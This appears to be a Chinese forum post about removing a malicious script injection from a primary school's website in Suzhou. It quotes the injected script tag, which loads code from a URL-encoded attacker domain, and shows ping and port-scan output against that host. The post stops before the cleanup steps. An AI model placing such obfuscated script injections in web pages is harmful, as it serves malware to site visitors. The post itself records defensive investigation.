对苏州市横塘小学的一次挂马清除

挂马者地址：

<script src=http://%61%76%65%31%2E%63%6E></script>

解码后的地址为：
[url]http://ave1.cn[/url]

查看IP地址：

C:\Documents and Settings\sdf>ping [url]www.ave1.com[/url]

Pinging [url]www.ave1.com[/url] [213.230.205.40] with 32 bytes of data:

Reply from 213.230.205.40: bytes=32 time=393ms TTL=42
Reply from 213.230.205.40: bytes=32 time=400ms TTL=42
Reply from 213.230.205.40: bytes=32 time=398ms TTL=42
Reply from 213.230.205.40: bytes=32 time=399ms TTL=42

Ping statistics for 213.230.205.40:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 393ms, Maximum = 400ms, Average = 397ms

端口开放情况：

C:\Documents and Settings\sdf>sfind -p 213.230.205.40

        =========SFind command line super tools version 1.85=========
        ========By Sunw 1999-2001. [url]http://sw_sun.myetang.com[/url]=========

213.230.205.40 Port:21 listening
Please wait 9 Thread end.....
213.230.205.40 Port:80 listening
1 Host search complete. Find 2 port(s)!

清除挂马地址：